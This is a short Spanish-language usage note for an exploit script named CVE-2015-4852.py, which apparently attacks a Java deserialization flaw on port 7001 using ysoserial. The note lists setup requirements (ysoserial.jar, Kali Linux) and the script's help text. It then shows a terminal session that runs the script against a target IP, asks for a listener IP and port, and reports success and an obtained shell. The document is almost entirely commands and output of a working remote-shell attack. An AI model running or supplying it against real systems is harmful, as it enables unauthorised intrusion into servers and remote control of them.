
Requisito: coloque ysoserial.jar en el directorio del script (renombre ysoserial-0*.jar como ysoserial.jar); se recomienda ejecutar este script con Kali Linux.
root@kali:~# python3 CVE-2015-4852.py -h
Usage: python CVE-2015-4852.py -t/--target 1.1.1.1 7001
Options:
-h, --help show this help message and exit
-t TARGET, --target=TARGET ip port
root@kali:~# python3 CVE-2015-4852.py -t 10.6.214.129 7001
Ingrese la IP de escucha: 10.6.214.1
Ingrese el puerto de escucha: 7777
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Ejecución exitosa
Se obtuvo shell